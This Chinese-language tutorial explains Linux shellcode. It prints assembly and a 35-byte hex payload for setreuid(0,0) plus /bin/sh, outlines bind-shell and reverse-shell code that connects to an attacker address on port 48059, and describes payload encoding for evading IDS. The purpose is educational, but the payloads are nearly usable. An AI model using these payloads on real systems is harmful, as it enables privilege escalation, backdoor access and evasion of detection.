了解黑客的关键工具---揭开Shellcode的神秘面纱

了解黑客的关键工具 --- 揭开 Shellcode 的神秘面纱

 

对于初期接触网络安全的人来说， Shellcode 是很神秘的东西，对于网络攻击过程中的嗅探信息、漏洞剖析都是可以理解的，但真正利用漏洞入侵时，通过把一段二进制码送入后并执行，就可以获得目标机器的控制权，之后的事情是属于爱好者学习技术，还是黑客的行为，就看攻击者的一念之差了。 Shellcode 就好象神秘的武器，安全防护变得如此不堪一击。 Shellcode 究竟是什么样的程序？是什么特殊代码？如何才能学会编写？我下面收集了几类常见的 Shellcode ，主要是学习使用。它其实也是一般的软件程序，主要是因为二进制码的“不可读性”，增加了神秘色彩。

 

Shellcode 是指能完成特殊任务的自包含的二进制代码，根据不同的任务可能是发出一条系统调用或建立一个高权限的 Shell ， Shellcode 也就由此得名。它的最终目的是取得目标机器的控制权，所以一般被攻击者利用系统的漏洞送入系统中执行，从而获取特殊权限的执行环境，或给自己设立有特权的帐户。 Shellcode 因操作系统有一些差异，这里以 Linux 为例。

Shellcode 是一段高技巧的软件代码，为了小而精，一般直接写为 16 进制的操作码，当然编写者一般采用 C 或汇编编写，然后通过汇编程序成为 16 进制的操作码。

 

1 、获取特殊权限 ：攻击的目标通常是某个 SUID( 具有高权限的系统程序 ) 程序，因为它可以具有较高的特权去执行一些命令 ( 比如修口令等 ) ，好的 SUID 程序会在不必要时放弃过高的特权，需要时再重新设置获取特权。 Setreuid 是用来设置 ( 恢复 ) 进程的真实和有效的用户 ID 。当然也就可以设置 root(0) 的权限。

xor ebx,ebx     参数一：真实用户 id(ruid)=0

xor ecx,ecx     参数二：有效用户 id(euid)=0

xor eax,eax

mov al,0x46     系统调用 0x46

int 0x80        设置 setreuid(0,0)

有了 root(0) 用户权限，系统基本就归你指挥了。

 

2 、执行/bin/sh ： 有了特权，还要有个“工作室”， shell 是 Linux 常用的控制台，取得一个有特权的 shell ，就可以让你“随意”工作了。建立一个 shell 并不复杂，一般采用 execve 调用执行 /bin/sh 软件

char *shell[2] ；

  shell[0]=”/bin/sh”;

  shell[1]=0;

execve(shell[0],shell,NULL);

该调用 C 语言编写很简单，对应的汇编代码也不复杂：

xor eax,eax         eax=0

push eax            eax=null

push 0x 68732f 2f      压栈 //sh

push 0x6e 69622f      压栈 /bin

mov ebx,esp         ebx=esp 指向 /bin/sh

push eax            eax=null  结束栈 null

push ebx            参数 2   ebx 指向 /bin/sh

mov ecx,esp         参数 3   ecx 指向 [“/bin/sh”,NULL]

xor edx,edx          参数 4   edx=NULL

mov al,0xb            参数 1   eax=0xb

int 0x80

 

综合以上两个部分，就是最常见的 Shellcode 了，具体生成的 16 进制代码如下 ( 共 35 个字节 ) ：

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80            ;setreuid(0,0)

\x31\xc0\x50\x68\x 2f \x 2f \x73\x68\x68\x 2f \x62\x69\x6e\x89\xe3\x50\x53\x89\xe1

\x31\xd2\xb0\x0b\xcd\x80                          ; 执行 /bin/sh

该代码可以放置在缓冲区内，通过指针函数调用执行。在缓冲区溢出等方式获得执行权利时，运行该段代码就可以打开一个具有 root(0) 权限的 shell 界面。

Shellcode 在不同的场合，可能有严格的限制，比如在命令行溢出漏洞时，不能太大，没有有效的空间来存放代码，所以要严格精简代码的长度。在 SQL 注入时对长度的要求更加苛刻，所以很多业界流行的、优秀的 Shellcode 是经过各种技巧精练的结果。 Shellcode 是攻击注入代码的统称，并非一定是打开 Shell ，根据漏洞程序本身的特性有很多的改变，有兴趣的朋友可以从网上收集。

 

3 、绑定到端口的Shellcode

用 shellcode 在目标计算机上打开一个端口 ( 通讯服务 ) ，并将 Shell 绑定到该端口，攻击者可以放弃入侵时的用的端口，等于在目标机器上建立了系统的后门。该端口可以为入侵者随时建立连接，因为是打开了 shell ，所以等于建立远程控制目标的控制台。

开启服务离不开 Socket ， Socket 定义为一个端口和一个 IP 到一个进程的绑定。

a) 建立本地 IP Socket ， TCP

  int server

  server=socket(2,1,0)

b) 用 IP 和端口建立一个 Sockaddr_in 结构

  struct sockaddr_in server_addr

    server_addr.sin_addr.s_addr=0         socket 的地址设为本地地址

    server_addr.sin_port=0xBBBB         socket 的端口设为 0xBBBB=48059

    server_addr.sin_family=2              协议族为 IP

c) 将端口和 IP 绑定到 Socket 上

  bind(server, (struct sockaddr *)&server_addr, 0x10)

d) 以监听模式启动 socket ：打开端口并等待连接

  listen(server, 0)

e) 有连接时，向客户返回一个句柄

  int client

client=accept(server, 0, 0)

f) 将返回的句柄，复制到 stdin 、 stdout 、 stderr ， shell 输出到攻击者 (client) 的屏幕

  dup2(client,0)

  dup2(client,1)

  dup2(client,2)

g) 调用普通的 execve 执行 shellcode

  char *shell[2] ；

shell[0]=”/bin/sh”

    shell[1]=0

execve(shell[0], shell, 0)

 

4 、反向连接的shellcode

当目标计算机在防火墙后时，防火墙不允许外边的计算机主动访问目标机器。所以即使采用上边的 shellcode 建立了服务后门，你还是不能与目标计算机建立连接。反向连接的含义就是，让目标计算机通过特定的 IP( 攻击者的 ) 和端口反向连接到攻击者，也可以设定为在固定的时间段主动来建立连接。

很多木马就利用这种方式，主动连接带木马的管理者，“神不知，鬼不觉”地把目标计算机加入到某个“僵尸网络”的黑社会团伙中。

a) 建立本地 IP Socket ， TCP

  int soc

  soc=socket(2,1,0)

b) 用 IP 和端口建立一个 Sockaddr_in 结构

  struct sockaddr_in server_addr

    server_addr.sin_addr.s_addr=0x 660A 0A 0A    socket 的地址设为 10.10.10 .102

    server_addr.sin_port=0xBBBB             socket 的端口设为 0xBBBB=48059

    server_addr.sin_family=2                 协议族为 IP

c) 建立反向连接 connect

  int remote

remote=connect(soc, (struct sockaddr*)&server_addr, 0x10)

d) 将 socket 复制到 stdin 、 stdout 、 stderr ， shell 输出到攻击者的屏幕

  dup2(soc,0)

  dup2(soc,1)

  dup2(soc,2)

e) 调用普通的 execve 执行 shellcode

  char *shell[2] ；

shell[0]=”/bin/sh”

    shell[1]=0

execve(shell[0], shell, 0)

注意： 10.10.10 .102 为防火墙外攻击机器的地址，此时在该机器上要启动一个监听 48059 端口的服务

 

5 、躲避IDS 的过滤

由于经典的 Shellcode 并不是有很多的版本，大多数人员都是采用同样的 Shellcode ，很少有人自己编写。所以 IDS 厂商把常见的 Shellcode 的指纹提取出来，作为验证攻击行为的“特征”，很多攻击行为就暴露在 IDS 的监控之下，网络管理人员可以很快知道你到了他的网络内部，进而采取“捕获”措施。

所以，隐藏指纹，变换代码， Shellcode 也在不断更新。技术很多，这里就不例举了，提一个有意思的思路：因为 Shellcode 的基本功能相同，都是诱使目标机器执行这些指令，目标代码在传输和存放时是很容易被 IDS 或系统察觉的，那么直到被执行前才恢复原来面貌是一个好注意。所以有人通过把代码简单移位，“加密”后的代码没有任何“意义”，到执行前再反向移位，被检测到的概率就小多了，这种方式对躲避 IDS 是很有效果的。